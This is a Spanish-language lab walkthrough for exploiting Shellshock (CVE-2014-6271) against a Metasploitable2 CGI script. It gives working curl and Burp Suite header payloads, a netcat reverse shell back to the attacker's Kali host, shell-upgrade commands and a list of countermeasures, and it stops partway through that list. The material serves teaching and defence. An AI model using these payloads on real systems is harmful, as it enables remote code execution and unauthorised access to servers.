Explotando Shellshock (CVE-2014-6271): Un Laboratorio de Demostración Moderno y Completo

Shellshock (CVE-2014-6271) es una de las vulnerabilidades de ejecución remota de código más influyentes jamás descubiertas. El fallo afecta a Bash y permite a atacantes ejecutar comandos arbitrarios simplemente inyectando cargas maliciosas en variables de entorno.

Esta guía proporciona una demostración completa y reproducible utilizando:

• Kali Linux (atacante)
• Metasploitable2 (objetivo)
• curl, Burp Suite, Netcat
• Un script CGI basado en Bash creado manualmente

Está diseñada para enseñanza, investigación, formación y concienciación general en ciberseguridad.

---

📌 Tabla de Contenidos

1. Arquitectura del Laboratorio
2. Creación del Script CGI Vulnerable
3. Entendiendo la Vulnerabilidad Shellshock
4. Explotando Shellshock con curl
5. Explotando Shellshock con Burp Suite
6. Reversa Shell mediante Shellshock
7. Actualización a una TTY Totalmente Interactiva
8. Diagrama de la Cadena de Ataque
9. Galería de Capturas de Pantalla
10. Contramedidas
11. Hoja de Referencia (Todos los Comandos)
12. Explotando Shellshock Usando Metasploit
13. Conclusión

---

1. Arquitectura del Laboratorio

Componente	Función	Sistema Operativo	Dirección IP	Servicios Clave
Kali Linux	Atacante	Kali Linux (último)	192.168.1.4	curl, Burp Suite, Netcat
Metasploitable2	Servidor vulnerable objetivo	Ubuntu Linux (MSF2)	192.168.1.5	Apache 2.2, scripts CGI, Bash
Apache mod_cgi	Ejecución de scripts	Se ejecuta en MSF2	n/a	Expone Bash a través de CGI
shellshock.sh	Punto de entrada vulnerable	Bash CGI	n/a	Muestra variables de entorno

Esta sencilla configuración de dos nodos refleja muchas implementaciones heredadas aún presentes en sistemas industriales y de IoT.

---

2. Creación del Script CGI Vulnerable

En Metasploitable2:

sudo su
cd /usr/lib/cgi-bin/

cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF

chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

Prueba el script desde Kali:

curl http://192.168.1.5/cgi-bin/shellshock.sh

Deberías ver las variables de entorno mostradas.

---

3. Entendiendo la Vulnerabilidad Shellshock

Shellshock ocurre cuando Bash analiza incorrectamente variables de entorno que se asemejan a definiciones de funciones.

Una variable maliciosa como:

() { :; }; /bin/bash -c "id"

hará que Bash ejecute el comando después de la definición de la función — incluso aunque la función nunca sea invocada.

Las aplicaciones CGI son especialmente vulnerables porque las cabeceras HTTP se pasan automáticamente a los scripts como variables de entorno.

---

4. Explotando Shellshock con curl

curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

La salida debería incluir:

Vulnerable
uid=33(www-data)

Esto confirma ejecución remota de código.

---

5. Explotando Shellshock con Burp Suite

5.1 Enviar Solicitud Normal

Visita:

http://192.168.1.5/cgi-bin/shellshock.sh

Envía la solicitud a Repeater.

5.2 Inyectar Carga de Shellshock

Reemplaza la cabecera User-Agent con:

User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"

5.3 Respuesta

Deberías ver:

BurpTest
uid=33(www-data)

Burp Suite confirma la vulnerabilidad de manera visual y educativa.

---

6. Reversa Shell mediante Shellshock

Inicia el oyente en Kali:

nc -lvnp 4444

Desencadena la reversa shell a través del script CGI:

curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

Una shell se conectará de vuelta a Kali.

---

7. Actualización a una TTY Totalmente Interactiva

Dentro de la reversa shell:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Suspende la sesión:

Ctrl + Z

En Kali:

stty raw -echo; fg

Presiona Enter.

Ahora tienes:

• autocompletado con tabulador
• teclas de flecha
• control de trabajos
• Bash interactivo completo

---

8. Diagrama de la Cadena de Ataque

          ┌────────────────────────┐
          │   Atacante (Kali)      │
          │      192.168.1.4       │
          └───────────┬────────────┘
                      │
     1. Cabecera HTTP maliciosa (Shellshock)
                      │
                      ▼
        ┌──────────────────────────┐
        │ Servidor Web Apache (CGI)│
        │     192.168.1.5          │
        └───────────┬──────────────┘
                    │
   2. Cabecera → Variable de entorno CGI
                    │
                    ▼
      ┌──────────────────────────┐
      │   Bash (Vulnerable)      │
      └───────────┬──────────────┘
                  │
      3. Comando inyectado se ejecuta
                  │
                  ▼
        ┌─────────────────────────┐
        │  Acceso a shell www-data│
        └───────────┬─────────────┘
                    │
        4. Reversa Shell → Kali
                    │
                    ▼
      ┌──────────────────────────┐
      │ TTY interactiva completa │
      └──────────────────────────┘

---

9. Galería de Capturas de Pantalla

Un recorrido visual de las etapas clave del ataque.

Descripción	Imagen
Escaneo Nmap + salida de prueba Shellshock
Burp Suite – Solicitud inicial de Shellshock
Burp Suite – Inyección de carga / cabecera
Reversa shell recibida en Kali (nc)

---

10. Contramedidas

✔ 1. Actualizar Bash

Parchear a una versión que maneje correctamente el análisis de funciones.

✔ 2. Deshabilitar CGI

El CGI heredado introduce un riesgo sistémico innecesario.

✔ 3. Sanitizar Cabeceras HTTP

Descartar patrones sospechosos como:

() { :; };

✔ 4. Usar Mínimo Privilegio

Restringir permisos del usuario del servidor web (www-data).

✔ 5. Restricciones de Conexión Saliente

Detiene reversas shells y la exfiltración de datos.

✔ 6. Implementar un Cortafuegos de Aplicaciones Web (WAF)

Las firmas modernas de WAF detectan Shellshock de inmediato.

✔ 7. Habilitar SELinux / AppArmor